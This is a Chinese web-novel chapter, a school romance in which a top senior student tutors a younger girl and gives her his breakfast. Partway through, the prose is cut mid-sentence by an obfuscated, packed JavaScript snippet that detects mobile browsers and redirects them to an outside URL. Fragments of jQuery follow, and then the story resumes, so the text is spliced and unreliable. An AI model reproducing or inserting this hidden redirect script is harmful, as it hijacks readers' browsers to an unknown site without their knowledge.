办公室里的白炽灯带着点暖黄调，把“喝茶”这事儿衬得没那么严肃。所谓“喝茶”，不过是梁穆川以检查课堂笔记为由，把上课走神的苏昕月叫过来。墙上的石英钟滴答走着，指针慢悠悠地往第二节下课的时间挪，苏昕月捏着笔记本的指尖微微发紧，心里还揣着课堂上被他点名时的慌。
她原以为要挨顿轻斥——梁穆川虽是高三学长，却因成绩拔尖被老师请去给高二几个班带过几次拓展课，讲题时总带着股不容含糊的认真，谁要是在他课上溜号，他眼神扫过来，能让人瞬间坐直。可他没提课堂上的事，只是从桌角的保温杯里倒了杯温水，递过来时指尖不经意擦过她的手背。
那触感很轻，像春日里飘来的一片杨絮，苏昕月却猛地缩回半寸手，指尖蹭到杯壁的温凉，才发现自己手心里竟沁了点薄汗。
“知道你经常熬夜学习。”他声音比课堂上低了些，少了站在讲台上的清亮，多了点沉缓的温和，“高二课程虽然紧，但是晚上也别熬太晚。”
苏昕月低头盯着水杯，杯壁上凝着细密的小水珠，顺着杯身往下滑，在办公桌的木纹上洇出浅痕。她没敢抬头，怕撞上他的眼睛，只听见他翻东西的窸窣声——是她前几天请教过的英语错题，接过本子时风卷着落叶擦过他袖口，如今那几页纸被他摊在桌上，笔尖敲着草稿纸讲解思路。
他讲题时语速很慢，不像课堂上那样追求效率，每个语法点都拆得很细，“这里的时态要注意，主句用了过去完成时，从句的时间状语是……偶尔抬眼看她，睫毛在台灯下投出浅影，那影子落在草稿纸上，随着他眨眼轻轻晃，像两片停在纸页上的蝶翅。
苏昕月忽然走了神。她想起元旦那晚，班级联欢结束后，在走廊的那一次相遇，正低头说笑的苏昕月，遇见了惊艳她整个青春的那个他。她手里攥着的那颗糖。
此刻橘子的甜意好像又漫上来，从记忆里飘到舌尖，她盯着他握着笔的手——指节分明，笔尖在纸上划出清晰的字迹，连批注都写得工整。
“想什么呢？集中注意力。”梁穆川的声音陡然清晰，带着点不容置疑的认真，毫不留情地打断她的臆想。
苏昕月猛地回神，对上他的眼睛。他眉梢微挑，眼神里带着点不满，又有点无奈，那神情像是要把她脑子里的胡思乱想都看透。她赶紧低下头，小声应：“哦，我听着呢。”
他轻哼了声，没再追问，继续往下讲。直到把最后一道错题讲完，他合上练习册，抬眼看了看墙上的钟，第二节下课的铃声恰好“叮铃铃”响起来。“好了，”他把本子推回给她，语气又软了些，“明天上课再不认真，小心我可没有今天这么温柔了。”
语重心长的样子，倒像个操心的长辈。苏昕月憋着笑接过本子。
真好，小小年纪就一大把年纪。真是辛苦我们的梁“老爹”了。
刚走出办公室，走廊里的风带着点凉意扑过来，她缩了缩脖子，就撞见抱着作业本的宋诗妍。
宋诗妍是她同桌，眼尖得很，老远就看见她从办公室出来，这会儿冲她挤眉弄眼，等梁穆川的身影拐过走廊尽头，才拽着她往楼梯间跑，“他没训你吧？我刚在走廊拐角看见他给你讲课呢，头凑得还挺近，啧啧，梁大学神对谁都这么好吗？”
苏昕月被她拽得踉跄了两步，回头望了眼走廊尽头——梁穆川的身影已经消失在楼梯口，大概是回高三教室了。
刚才在办公室里，他是那个会低声叮嘱“别熬夜”的学长，可在课堂上，他分明是威严的“老师”，这会儿回到属于他的年级，又做回了那个被全校盯着成绩的梁大学神。身份转变得自然，却让她心里泛起点莫名的涟漪。
“没训我，就讲了讲课。”她含糊应着，把宋诗妍的手扒开，“你别瞎看，他就是……怕我那几道题总卡着，影响后面的进度。”
宋诗妍撇撇嘴，显然不信，却没再追问，只是撞了撞她的胳膊：“说真的，他给你讲题的时候，眼睛亮得很，跟平时给我们上课不一样。”
苏昕月没接话，心里却记起他讲题时抬眼的模样——台灯的光落在他眼底，像盛了点碎星，确实比课堂上多了点柔和。
当晚写作业时，苏昕月对着一道英语完形填空犹豫了半天。
那道题讲的是时态辨析，四个选项长得几乎一样，她盯着句子看了十分钟，脑子里乱糟糟的，忽然就想起了下午梁穆川讲错题时的样子。犹豫片刻，她破天荒地点开了梁穆川的微信对话框。
好友申请是误打误撞加的，他的头像是片涂鸦的黑色，简单得像他的人。
苏昕月对着输入框敲了又删：
——“梁学长，这道题我不会”太直白，“学长有空吗？想请教你个问题”又太客气，来回改了三遍，连标点都斟酌了半天，才终于发出去：
——苏昕月：梁学长，有时间嘛…有一道英语题不太会哎…
发完她就把手机扣在桌上，心跳得有点快，盯着练习册上的题目，却一个字也看不进去。
过了大概两分钟，手机“嗡”地振了一下，她几乎是弹着拿起手机。
是梁穆川的回复，没有多余的话，直接发来一张照片——是他在草稿纸上写的解题步骤，从句子结构分析到时态标志词圈画，条理清晰得像本迷你教辅，末尾加了句：
——梁穆川：明天早自习可以来高三（1）班找我，当面讲更清楚。
苏昕月盯着那句“当面讲更清楚”看了好几秒，指尖在屏幕上敲出回复，连带着加了个软乎乎的表情：
——苏昕月：好哦，谢谢梁学长~！??>?
发完她不自觉笑了，嘴角扬起来才发现，心里那点因题目而起的烦躁全没了，反倒有点甜。
第二天早自习前，天刚蒙蒙亮，校园里还没多少人。苏昕月攥着英语练习册站在高三（1）班门口，手心又开始冒汗。
高三的教室比高二热闹些，离早自习还有十分钟，里面已经有不少人在背书，翻书声、低声讨论题目的声音混在一起，衬得她站在门口的身影有些局促。
她正犹豫着要不要喊一声，靠窗第三排的王沐川先看见她。王泽川是梁穆川的同桌，性格跳脱得很，隔着几排座位就扬声喊：“梁穆川~梁学神，你小迷妹来了！不迎接一下吗~”
那声“小迷妹”喊得又响又亮，教室里瞬间安静了半秒，好几道目光“唰”地投向门口。
苏昕月的脸“腾”地红了，攥着练习册的手指都快嵌进纸里，恨不得找个地缝钻进去。
梁穆川从试卷里抬头，眉头微蹙，瞪了王沐川一眼——那眼神不算凶，却带着点“别胡闹”的警告，王沐川吐了吐舌头，缩回头假装看书。
梁穆川才起身走到门口，侧身让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290291|182656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她进来：“进来吧，外面冷。”
他的声音很轻，刚好能盖过教室里的嘈杂，却又没让其他人听清。苏昕月“啊…好”了一声，低着头跟着他往里走，感觉后背还有几道目光没移开，烧得她耳朵都热了。
他把她带到教室后排靠窗的空位，那里显然是他常待的位置——桌角放着个印着校徽的马克杯，旁边堆着成摞的复习资料，从模拟卷到错题本，码得整整齐齐，却特意留出一小块干净的地方，刚好够放她的练习册。
“坐吧。”他指了指空位旁边的椅子，自己则半靠在桌沿上，拿过她的练习册，翻到那道完形填空。
晨光透过窗户落在他侧脸上，把他的睫毛染成了浅金色。他低头看题时，鼻梁的弧度很清晰，喉结轻轻动了动，开始给她讲题。
他讲得比昨天在办公室更细，连选项里容易混淆的时态用法都举了例子，偶尔会停下来问：“这里懂了吗？”
苏昕月点头时，眼角余光瞥见前排几个高三女生回头看她，那眼神里带着藏不住的嫉妒，还有点打量的好奇，像是在猜她是谁，怎么能让梁穆川特意把人带到自己座位这儿讲题。她赶紧收回目光，专心听他讲，可心里却有点说不清的甜，像揣了颗刚剥开的水果糖。
讲完题，梁穆川合上练习册递还给她，忽然转身拉开抽屉，从里面拿出一袋全麦面包，递到她面前：“吃早饭了吗？”
她愣住，盯着那袋印着“全麦”字样的面包，才想起自己为了赶早来高三楼，出门时急急忙忙的，根本没顾上吃早饭。
接过面包时，指尖碰到他的手背，又是那点温温的触感，她赶紧缩回手，听见他低声说：“下次别这么急，题什么时候问都行。”
顿了顿，他又补了句，语气里带着点无奈的笑意：“毕竟你这小傻瓜，忘性这么大，不吃早饭怎么办。”
“小傻瓜”三个字被他说得很自然，像早就这么叫过似的。
苏昕月捏着面包，心里暖烘烘的，连声道：“谢谢学长，我下次一定记得吃。”
“嗯。”他应了声，看了眼墙上的钟，“早自习快开始了，你回去吧，路上慢点。”
回教室的路上，刚走到楼梯口，就看见张欣妍和宋诗妍扒着扶手探头探脑。张欣妍是她前桌，消息比谁都灵通，见她过来，立刻跑过去拉住她的胳膊，眼睛亮得很：“可以啊苏昕月，都摸到高三阵地了！我刚去水房打水，碰见王沐川，他跟我说，梁穆川抽屉里的面包从来不分给别人，连他亲弟来要都被他怼回去了，你居然能拿到！”
宋诗妍也凑过来，戳了戳她手里的面包袋：“而且我听说，那面包是他妈妈每天早上给他准备的，他自己都不一定天天吃，居然给你了？”
苏昕月咬了口面包，全麦的微糙感混着淡淡的麦香在舌尖散开，甜意却从舌尖漫到心里，连带着脚步都轻快了些。她抬头看向高三教学楼的方向，晨光正顺着走廊的窗户漫进去，梁穆川坐的那个位置，窗户玻璃在光线下亮得很，仿佛还凝着刚才他低头讲题的影子。
原来有些在意，从来不是挂在嘴边的，就藏在他递来温水时的停顿里，藏在特意留出来的那小块桌面里，藏在这袋带着温度的面包里，藏在他看似平淡的语气里。
比元旦那晚的橘子糖更甜，也更让人记挂——像春日里悄悄发了芽的种子，在她心里，轻轻扎下了根。